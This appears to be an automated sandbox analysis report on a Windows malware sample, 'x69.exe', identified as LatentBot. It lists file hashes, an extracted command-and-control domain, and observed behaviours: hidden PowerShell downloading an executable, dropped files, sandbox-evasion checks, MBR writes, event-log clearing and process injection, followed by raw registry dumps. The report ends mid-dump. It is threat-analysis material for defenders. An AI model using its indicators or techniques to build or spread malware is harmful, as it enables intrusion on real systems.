Analysis
-
max time kernel
33s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20250502-en -
resource tags
arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system -
submitted
19/05/2025, 20:25
Static task
static1
Behavioral task
behavioral1
Sample
x69.exe
Resource
win10v2004-20250502-en
General
-
Target
x69.exe
-
Size
49KB
-
MD5
c1ade7728d9871043141fde331aebcf2
-
SHA1
c9ebed22e028ff8d2e05dea75f04b2e4ca692d17
-
SHA256
8ead895e1e76dc258954703305da5eed934eb7744eddf4d1b481c70fddefcef6
-
SHA512
97a03bd5194a436b58a01348947cfe3793fac65b5d8b3bb70ce30240d3522ea44f7713548373fcae40f979693e879bef69a72202e3f8fc29f3d731a058b7f6ba
-
SSDEEP
768:MF9xVUZjqp6T77Act5lzxQXE6bh5POTCNHJgwhLOlOu4:MXxVT6F5lzmXbh5h1OAu4
Malware Config
Extracted
latentbot
grayhatgroupontop.zapto.org
Signatures
-
Latentbot family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3160 created 616 3160 MasonR.bat 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1700 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1700 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 4 1700 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000\Control Panel\International\Geo\Nation x69.exe Key value queried \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000\Control Panel\International\Geo\Nation MasonKit.com -
Executes dropped EXE 2 IoCs
pid Process 5688 MasonKit.com 3160 MasonR.bat -
Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe -
Loads dropped DLL 1 IoCs
pid Process 3984 x69.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Z: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3160 set thread context of 4812 3160 MasonR.bat 97 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 49 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000001209cc65e575574a97b97adb9dbab26a00000000020000000000106600000001000020000000f25a82842c4c4babdc3fefe8cccbac768e9883e01c99573f2bb9de5fb8aa45a3000000000e80000000020000200000006862a7591edf0b7814bb674242142e0853cbfabb6810c4f3f7d9384f57477e4b10060000c5f27dbc758d14b3ffa9d7e07b36bf9f11fd8b8d15d7480bbd0b89b422206364d369c78d872384681ddfe18d3a5c6a5504a07fe0a0c0ebb2508424b9dd880910f8edd057eb6f1de383dd60cb1cba03e0ae3fce86c0bbf48dbbca1d605a48ec1fede9333eb958530be467147cce3d443cd6ee9a91eb088ee01e0cf2e77f1ed120486caba750707ef8a41bc9a9c7063281298397d582b72dbd5ce0e3612508e7c089d9721e214c02a2ddace1e21642a7dabee1834e10d2d72ba696e0d7b8d3be4f5eded7fd8842edd640a3f5f9c3484367531f6a7348c5a2198024aac8a308d79380e649ed5ee7ed3b21d379c7398fabbf08f8658b068a77c94f27a9d1b0febb7037f406878490db9c6ddfcc085bf5627e88ecfb856a80d12ebfb749a9da7ba37cdff1b13adc3c75134b90cc2c44eb664f3ce89ba2edb18d6da347212178ba986d5335ae1603c3ae1defb6c7246214b92bc6038e8c18591d6893f09bf602210e73039631cacaa086350473395f053a47248d8b44da3cd83d112ae3ce0373ca26672e20766a879d4b0c7fd4b2f8f47ab88374f5c36d8e6b02a9c324b1141af8a74fd754e885b10e2fb463f8eb67686900a7d4cfa36efa1ee65165531d80c896c6fc58e18d886f2a8b13cde320521fcad115d67a8fe0c5fcddd1e4d4c697d1c80630b90003f90abc63dccca792cdb622e1c0ab8dd9888ad874f74b3172f0736210d70346ba939de016c5ddff3e84a093e51f5b0e02697f7b2126e7ce682a9ed05f265ab2ce7e3110d5e3911fdf51550a18e9cebde3a4dad93ce58bb7c87f02db9cd2e3fb58486395dcd5bc9fd5acfc8b689db5f5a57587507638e346a42a730214649f72249935008f9d86374743185735a2f2e0c8440e030bd32b5bd6b17780fbc4c4d7455fc32b6d84a9982cf077e7b6ad5ae68d5878c8b6a40d42a5ba35241322cb99a72bb2471807c90a998ff800b03e45009b998c2ef4e0eeb6d7140561cd02cd0aa8d4f02f227c798ad8978a64731ee1504413fcbc71ca7e2bb62578af5f48671d22b507722fb31eb6b284b7e13c037c30ecf6e0fbebfd8d0043ef900b5dc42c4b52728b4587890eb84fb908b440e960a48a09bc3ab8d0dc58b24d718be7114862f4e16c5cc3f48323d830c79c78e6d05d89347c2c9dc0e89ac5b849d2dbc7bc775e2e5be0d3ce5a704e5e6d9be768d45430b12eeafdd6efdadd4903604d883a4f7e7895f9c655a41fee7bacb9ebe360c61f76b3474c8a12ce07295532769446406e74daef972eac03f52efff0d5ae0ee7885c5c16370992098d8fd6bb185feeab6b44f38fa28df6075b9d57bfb66da8540dabec7da9271d343e5ee926bfb6970c8755697bbf98ef84cd295fcdaed27d30acef2dd3d768a1120d357589928040e3ff5b1fd5c9795ff074d19b562f114a654eb7b27c5caf5a4b0a086475993d607a2c45c212b3f7b544a7da349084d4b0ece04db09237d20a47e968b394e06cdbe53de94d579cdeebee34289ea10c433aaca22e3422249e1a59978077283f5de2cb5c5df9887ac0c52685eea42fe572abeaba92a173939e2609e3e20360c36be44bf3f426e251a23ce22ab84ee901d48f90a4e5352378f6e35bc39fc8272a405cfae16dccde64eaae0828a427d8fd642749613ad6e49435e19b1f40e90ed272fad5b0442671cc70fa48fef82e9d9b6259ffbd807e5eced5d08cf7fcd23a472f66901a02754cbc33ff188cdcaabc80041627141adaf3984ce13fd971de2449479cc05de40237231b39b9ec0768cf8d4249ec3ad8e2c4fbf721bfe06680948cfdfd87542d150c12fc70fb9dd4de0182fac05b76d40eee315902981ed41e2322f9a3c69ee3166d2f330c94e8d3b65a31a04445a1952c8a777456bfce41faf9101967496b2e902dc1a763f4633c791673cb0c6052b16c3c180e1fa4eaa99dcfb1e6daf02dffc927841fa3321e76e4024e3a1291a30436d621eb2fe3dd50f3422f611bcdb2ef903a9d1d0733a2fdd906546ae50b8834f96250732185a33da751e3622ad0fa8ca847bc8135f2246796734b32630ee3c148a390d5b57a9df3b29d40bd8080f7ab4934c2b82a8d6b681d4b14d32f8718520ab6c70aa56b29d025e8ad93424594771696512aea502863672247223dc8f7802ae75af114e9e846cde301a98d578a673551628d0141efc4ee3731ee40000000419ba2f93af25bba319798b4770e3ae5e965e0b7e72114c4c86b5fcf9a5016cbf11e5836d8d4a213062b2db32c780a115e73ea22a4fd32cb84b405be7130a15e mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018801257DB2EFD" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018801257DB2EFD" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018801257DB2EFD = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000001209cc65e575574a97b97adb9dbab26a00000000020000000000106600000001000020000000b3d2a232836f01318aa99879d6407517d5365bbb72cda89a8bb1c02de146493f000000000e8000000002000020000000284afc89753feb744c3c724bba119a24088eb4f7f89cca3e5b58e40b82fd386680000000842672f5c2845e39b330b4950d128f918c5c03f5e64e0560248f9cb64c55ffc21e816bc6f57b844084791ddfd9d03a968952a16b900997592f86d47c80029ebfb2f7b2fbc2b6e4a72be1d99b4980d144698a5cb9f42db6320e870c44e5439be856c8e9701b484dff3926c1c098348d40748cf1d592264231723d48532aa63165400000009b38227beeac9f1e2b921fdda60e2517b9622a05fd161fd9ab4cfe6514a33291456cd68a762c645a2fe7a1974301b197230383244ad25e5c55575ff652a82504 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe -
Modifies registry class 20 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000068fc193afcc8db014283613afcc8db014283613afcc8db01130300000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000b35a3da32000633131353235656131656439643064373135396666373064626637663837626434373237313134376463666139323262623634653434623135343637353836380000b20009000400efbeb35a3da3b35a3da32e00000000000000000000000000000000000000000000000000d4a9b500630031003100350032003500650061003100650064003900640030006400370031003500390066006600370030006400620066003700660038003700620064003400370032003700310031003400370064006300660061003900320032006200620036003400650034003400620031003500340036003700350038003600380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000008c9cb60b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63313135323565613165643964306437313539666637306462663766383762643437323731313437646366613932326262363465343462313534363735383638000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000062616d7564746b710000000000000000d0afe384b7e060428074769582fbd8402f6160966527f011b64c6674a9969650d0afe384b7e060428074769582fbd8402f6160966527f011b64c6674a9969650d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003300340032003500370036003700360033002d0031003900390038003400360035003500320036002d0033003800370030003200390035003500300031002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d544667000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b = "\\\\?\\Volume{6746542D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c11525ea1ed9d0d7159ff70dbf7f87bd47271147dcfa922bb64e44b154675868" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = 9e1a053afcc8db01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = "\\\\?\\Volume{6746542D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c11525ea1ed9d0d7159ff70dbf7f87bd47271147dcfa922bb64e44b154675868" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd18cc83-b19c-490b RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3342576763-1998465526-3870295501-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\35408508-3d9f-42e4 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000002c25023afcc8db012c25023afcc8db012c25023afcc8db01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000b35a3da32000633131353235656131656439643064373135396666373064626637663837626434373237313134376463666139323262623634653434623135343637353836380000b2000